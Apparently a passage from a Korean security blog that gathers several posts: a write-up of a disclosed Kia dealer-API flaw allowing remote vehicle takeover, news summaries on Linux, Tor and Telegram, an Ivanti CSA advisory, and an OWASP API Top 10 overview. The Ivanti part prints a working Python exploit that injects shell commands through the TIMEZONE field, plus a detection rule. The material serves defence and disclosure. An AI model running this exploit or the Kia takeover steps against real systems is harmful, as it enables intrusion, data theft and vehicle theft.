    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

 

2.2 일반 계정으로 딜러 API 접근

- 딜러 웹 사이트에서 새로운 계정을 생성해 액세스 토큰을 생성한 뒤 API 접근 시도

> 딜러 사이트에서 owners 사이트와 동일한 방식으로 사용자 등록을 시도한 결과 200 OK 반환

> 이후 로그인하여 액세스 토큰 생성 VIN 조회 API 호출 결과 차량 소유주 이름, 전화번호, 이메일 주소 반환

> 일반 자격 증명과 수정된 채널 헤더를 사용하면 모든 딜러용 API에 접근할 수 있다는 것을 의미

 

2.3 차량 무단 접근

- JavaScript를 살펴본 결과 차량 등록, 해지, 수정 엔드포인트가 어떻게 동작하는지 파악

[사진 4] 차량 무단 접근

- 다음 4단계를 거치면 차량에 무단 접근이 가능하며, 피해자는 차량 접근 알림이나 권한 변경 사실을 알지 못함

> 번호판을 통해 VIN을 알아낸 뒤 API를 이용해 추적, 잠금 해제, 시동 걸기, 경적 울리기 등의 명령을 수행할 수 있음

① 딜러 토큰 생성 및 HTTP 응답에서 “token” 헤더 추출

- authUser 엔드포인트를 통해 인증하여 세션 토큰 획득

[사진 5] 딜러 토큰 생성

② 피해자의 이메일 주소 및 전화번호 알아내기

- 추가된 세션 토큰 헤더를 통해 kiaconnect.kdealer.com 웹사이트의 모든 딜러 엔드포인트에 접속 및 피해자의 이름, 전화번호, 이메일을 검색할 수 있음

[사진 6] 피해자 정보 조회

③ 유출된 이메일 주소와 VIN으로 기존 소유자의 접근 권한 수정

- 이전 단계에서 얻은 이메일을 이용해 공격자를 기본 계정 소유자로 추가

[사진 7] 차량 소유주 접근 권한 수정

④ 공격자를 차량의 새로운 소유자로 추가

- 공격자의 이메일을 이용해 차량의 소유자로 추가 및 이를 통해 차량에 임의 명령을 보낼 수 있음

[사진 8] 공격자 추가

2.3 PoC용 대시보드 제작

- 공격자는 (1) Kia 차량의 번호판을 입력하고 (2) 소유주 개인 식별 정보를 가져온 뒤 (3) 차량 제어 명령을 실행할 수 있는 개념 증명용 대시보드 개발

- 차량 무단 접근을 시도하는 Exploit 페이지명령 전달과 위치를 추적하는 Garage 페이지로 구성

> 잠긴 Kia 렌트카를 대상으로 테스트 및 문 잠금/해제, 시동 켜기/끄기, 경적 울리기, 위치 추적에 성공

[영상 1] PoC [2]

- 해당 취약점을 Kia에 제보 및 수정 완료

> PoC 도구는 공개되지 않았으며, Kia는 취약점이 악의적으로 악용되지 않았음을 확인

3. 참고

[1] https://samcurry.net/hacking-kia#targeting-kia-dealer-infrastructure
[2] https://www.youtube.com/watch?v=jMHFCpQdZyg
[3] https://news.hada.io/topic?id=16961
[4] https://www.boannews.com/media/view.asp?idx=133232&page=1&kind=1
[5] https://www.dailysecu.com/news/articleView.html?idxno=159771

요약 - GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
- 현재까지 원격 코드 실행이 가능하다는 것만 알려져 있으며, 다음 주 중 공개 예상
내용 - 모든 GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
> 공격자가 취약한 기기를 제어할 수 있게 해줌
> 다음 주 중 전체 공개 예상
> 심각성에도 불구하고 아직 CVE가 할당되지 않음
> 취약성의 특정 측면이 보안 위험을 초래하는지 논의 중

- 연구진들을 해당 취약성과 Log4j/Log4Shell(CVE-2021-44228) 취약성과 유사점을 발견
> 리눅스 환경이기에 취약성 범위와 피해범위는 파괴적일 것

- 결과가 나오는 동안 조직에 어떤 리눅스 및 GNU 요소들이 사용되고 있는지 파악해 두는 게 안전
> SBOM을 조사하여 취약한 부분을 파악하고 패치할 준비를 해야함
기타 -

 

보안뉴스

 

10년 넘은 리눅스 취약점 발견돼...세부 내용은 다음 주에 공개

보안 외신 핵리드에 의하면 10년 넘은 취약점이 이제야 발견됐다고 한다. 심지어 심각도 점수가 9.9점일 정도로 위험한 취약점인데 아무도 모른 채 10년을 지낸 것이라고 한다. GNU 및 리눅스 시스

www.boannews.com

 

Old Vulnerability Rated 9.9 Impacts All GNU/Linux Systems, Researcher Claims

Follow us on Twitter (X) @Hackread - Facebook @ /Hackread

hackread.com

 

요약 - 독일 경찰, 범죄자 체포에 토르 네트워크 해킹 주장
- 텔레그램, 법적 요청 시 사용자 정보 제공 결정
내용 - 독일 방송사 파노라마 및 유튜브 채널 STRG_F
> 독일 경찰이 토르 네트워크를 해킹해 범죄자를 체포했다 주장
> 그러나, 독일 경찰이 토르를 해킹한 방법에 관한 내용에 대해서는 아무런 설명을 하지 않음
> 토르의 익명성 기능에 대한 의구심 증가

- 토르 프로젝트, 아직까지 토르가 직접 침해됐다는 증거는 없는 상황 입장문 발표

① 가능성 1
> 경찰이 토르를 뚫어낸 것은 범인들이 Ricochet(P2P 인스턴트 메시징 프로그램)을 사용했기 때문이 가능성이 높다
> Ricochet은 이미 오래 전 지원이 중단된 앱이기 때문에 취약점 익스플로잇 등을 통해 침해하는 게 가능하다는 것

② 가능성 2
> 또는, 가드 노드 공격(guard node discovery attack) 기법을 사용 했을 가능성 존재
> 토르는 여러 노드들로 구성되어 있으며, 첫 번째 중계를 담당하는 노드를 가드노드라 함
> 가드노드를 발견한다면 사용자의 실제 IP 주소를 알아낼 수 있는 것으로 알려짐
> 토르는 해당 문제점을 2018년에 이미 수정했으며, 범죄자가 이 수정법을 적용하지 않았을 가능성 존재
===============================================================================
- 텔레그램 개인정보보호 정책 변경
> 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 변경
> 플랫폼 규정을 위반한 사용자에 대해 유효한 법적 요청이 있을 경우에 한해서만 적용
※ 이전 정책: 테러 용의자와 관련된 경우에만 사용자 데이터를 공유

- 투명성을 유지하기 위해 사용자 데이터가 공유된 모든 경우를 분기별 보고서에 포함시킬 예정
> hxxps://t[.]me/transparency를 통해 액세스할 수 있도록 할 예정
> 현재는 업데이트 진행 중이며, 아직 해당 봇은 정상적으로 작동하지 않고 있음

- 플랫폼 내 불법 활동을 방지하기 위한 조치 또한 강화
> 검색 결과에서 문제 있는 콘텐츠 제거 진행 및 불법 콘텐츠와 관련된 검색어 철저히 검토 예정
> 사용자들은 @SearchReport 봇을 통해 불법 또는 위험 콘텐츠 신고 가능
기타 - 토르 브라우저의 위험을 줄이는 방법
> VPN 사용 : 토르 브라우저의 익명성 보장은 완전하지 않으므로 VPN을 적용할 경우 추적이 어려워짐
> 신뢰 가능한 사이트만 방문 : 토르 브라우저라고 해서 악성 링크나 첨부파일을 자동으로 막아주지 않으므로 기본 보안 수칙 유지
> 보안 프로그램 사용 : 보안 프로그램을 늘 활성화

- 우크라이나 국가 사이버보안 조정센터
> 국가 보안 문제를 이유로 정부 기관, 군 부대, 주요 인프라에서 텔레그램 사용 금지

- 텔레그램 정책 변화에 대한 견해
> 플랫폼의 책임성을 높인다는 긍정적 견해
> 사용자 프라이버시와 정부의 과도한 접근 가능성에 대한 우려

- 프라이버시에 민감한 사용자들은 더 강력한 데이터 보호 정책을 가진 메시징 앱인 시그널(Signal)과 같은 플랫폼을 사용할 것을 권고

- 어떤 플랫폼에서든 개인정보 공유 시 신중을 기할 것 강조 및 정책 변경 등의 변경이 있음을 유념해야 함

 

보안뉴스

 

독일 경찰이 정말로 토르 네트워크를 뚫었을까?

지난 주 독일의 방송사인 파노라마(Panorama)와 유튜브 채널 STRG_F가 폭탄 선언을 했다. 독일 경찰이 2021년 다크웹에서 활동하던 범죄자들을 체포하기 위해 토르(Tor)라는 익명화 기술을 깨버렸다는

www.boannews.com

 

텔레그램, 법적 요청 시 사용자 정보 제공 결정...개인정보보호 정책 변경 - 데일리시큐

텔레그램이 개인정보 보호에 대한 강력한 입장을 유지해오던 가운데, 최근 정책을 변경하며 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 했다. 이번 결정은 플랫폼 규정을 위

www.dailysecu.com

 

 

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

- API(Application Programming Interface)

> 여러 프로그램들과 데이터베이스, 그리고 기능들의 상호 통신 방법을 규정하고 도와주는 매개체

 

API 유형
REST API
(REpresentational State Transfer)
- HTTP로 하이퍼 미디어 콘텐츠를 전송하기 위한 하나의 아키텍처 스타일
- 6가지 원칙: 통일된 인터페이스, 클라이언트-서버 구조, 상태 없음(Stateless), 캐시 가능(Cacheable), 계층화 시스템, 주문형 코드
- 단순하기 때문에 현재 가장 널리 쓰이는 API
- 단일한 표준 REST 구조 없음, 큰 페이로드, 데이터 과다/과소 가져오기 등 단점
- 데이터 지향형
GraphQL API - 데이터 처리 부담을 서버로 옮김으로써 REST QPI의 데이터 과다/과소 가져오기 문제를 해결
- 장점: 정교한 질의 가능, 중첩, 강 타입 적용, 발견성
- 단점: DoS에 취약, 필요 이상의 많은 데이터 노출
- 데이터 지향형
RPC API
(Remote Procedure Call)
- 클라이언트는 Stub 라이브러리를 이용해 네트워크로 전송되며, 서버는 호출 정보를 복원한 후 서버 쪽 Stub에서 프로시저 실행 및 결과 반환
- 특정 작업을 원격으로 실행해야 하는 명령 지향적 응용 프로그램들에서 주로 쓰임
- 동작 지향형
SOAP API
(Simple Object Access Protocol)
- 서비스 지향적인 XML 기반 웹 통신 프로토콜로, 표준화되어 있음
- 뛰어난 확장성
- 복잡한 구현과 큰 데이터 페이로드
WebSocket API - 웹 소켓 통신 프로토콜에 기반한 API

 

API 데이터 형식
XML
(eXtensible Markup Language)
- 자료형(데이터 타입)과 독립적
- 내용과 표현을 분리하도록 설계
- 확장성
- 복잡성과 큰 용량 문제로  많이 쓰이지는 않음
JSON
(JavaScript Object Notation)
- 데이터는 키-값 쌍들로 표현
- 키는 항상 문자열이므로 큰따옴표로 감싸야 하며, 값은 정수, 부울형, 문자열 또는 널 값
YAML
(YAML Ain't Markup Language)
- JSON의 불편함(주석 지원 X, 유연하지 않은 문법 등)을 해소하기 위해 만들어짐
OAS
(Open API Specification-명세)
- API의 행동을 정의하기 위한, 사람이 읽기 쉬운 표준 규격으로, 개방형 표준
- OAS에 따라 API를 정의할 때는 YAML, JSON 모두 사용가능
- OAS 정의서부터 만든 후 API 개발 및 운영을 진행하는 방식을 설계 우선 접근 방식

 

- API는 데이터 접속의 표준화 및 편의성, 자동화와 확장성 등 많은 장점을 제공

- 그러나, API는 공격자에게도 인기가 많음

타 시스템과의 상호 연결을 위해 공용 네트워크에 노출된 경우가 많아 공격자 발견 및 접근에 용이

개발 및 통합을 위해 문서화가 잘 되어있어 공격자가 API 작동 방식을 파악하는데 용이

스크립트나 전용 도구를 이용해서 손쉽게 공격을 자동화할 수 있음

API핵심 데이터 자산에 대한 접근을 제공하기 위한 것으로, 공격자의 관심을 끌 수 있는 데이터

⑤ 기존 보안 도구들은 API 보안에 적합하지 않음

 

- OWASP 2019 API Top 10을 공개 후 2023년 목록을 갱신 [1]

OWASP API Security Top10 2023
API1:2023 - Broken Object Level Authorization - API는 개체 식별자를 처리하는 엔드포인트를 노출시키는 경향이 있어 개체 수준 액세스 제어 문제의 광범위한 공격 표면 생성
- 사용자의 ID를 사용하여 데이터 소스에 액세스하는 모든 기능에서 객체 권한 수준을 확인해야 함
API2:2023 - Broken Authentication - 인증 메커니즘은 종종 잘못 구현되어 공격자가 인증 토큰을 훼손하거나 구현 결함을 악용하여 일시적 또는 영구적으로 다른 사용자의 ID를 탈취할 수 있음
- 클라이언트/사용자를 식별하는 시스템의 기능을 훼손하면 전반적인 API 보안이 손상됨
API3:2023 - Broken Object Property Level Authorization - API3:2019 과도한 데이터 노출 및 API6:2019 대량 할당을 결합
- 근본 원인인 개체 속성 수준에서 권한 부여 유효성 검사가 부족하거나 부적절한 취약점
- 이에 따라 권한 없는 사람이 정보를 노출하거나 조작할 수 있음
API4:2023 - Unrestricted Resource Consumption - API 요청을 충족하려면 네트워크 대역폭, CPU, 메모리 및 스토리지와 같은 리소스가 필요
- 이메일/SMS/전화 통화 또는 생체 인식 유효성 검사와 같은 기타 리소스는 API 통합을 통해 서비스 공급자가 사용할 수 있으며 요청량에 따라 비용이 빌생
- 이에 따른 서비스 거부 또는 운영 비용이 증가 가능
API5:2023 - Broken Function Level Authorization - 계층, 그룹 및 역할이 다르고 관리 기능과 일반 기능이 명확하지 않은 복잡한 액세스 제어 정책은 권한 부여 문제가 될 수 있음
- 이를 악용해 다른 사용자의 리소스 및/또는 관리 기능에 액세스할 수 있음
API6:2023 - Unrestricted Access to Sensitive Business Flows - 취약한 API는 기능이 자동화된 방식으로 과도하게 사용되면 비즈니스 흐름을 노출
API7:2023 - Server Side Request Forgery - SSRF 결함은 API가 사용자 제공 URI의 유효성을 검사하지 않고 원격 리소스를 가져올 때 발생할 수 있음
- 이를 통해 방화벽이나 VPN으로 보호될 때에도 응용 프로그램이 예기치 않은 대상으로 제작된 요청을 보낼 수 있음
API8:2023 - Security Misconfiguration - API와 이를 지원하는 시스템은 API를 보다 사용자 정의할 수 있도록 하기 위한 복잡한 구성을 포함
- 잘못된 구성을 하여 다양한 유형의 공격 표면을 노출할 수 있음
API9:2023 - Improper Inventory Management - API는 기존 웹 애플리케이션보다 더 많은 엔드포인트를 노출하고 있어 적절한 명세가 업데이트 되어야 함
- 더 이상 사용되지 않는 API 버전 및 노출된 디버그 엔드포인트가 생기지 않도록 문서가 관리 및 갱신되어야 함
API10:2023 - Unsafe Consumption of APIs - 개발자는 사용자 입력보다 서드 파티 API에서 받은 데이터를 더 신뢰하는 경향이 있으므로 더 취약한 보안 표준이 적용될 수 있음

 

- API 보안 목표

> 오용(Misuse), 남용(Abuse)에 대한 고려-자동화된 스크립팅, 봇, 스크래핑 등-정상적인 사용자 활동과 구별이 어려움

> 데이터거버넌스: 통일적인 API 보안 전략에서 꼭 고려할 사항

> 양성 보안 모델: 허용 목록에 미리 등록해둔 정상적 행위자만 API 백엔드에 접근 가능

> 위험 기반 방법론: 위험도 분석에 기반한 API 보안 우선순위 결정

> 접근제어: API에 접근하는 것이 누구인지 확인하는 인증과 누가 API에 접근할 수 있는지를 결정하는 권한 부여

'취약점 > API' 카테고리의 다른 글

API 보안 기술  (0) 2024.12.19

+ Recent posts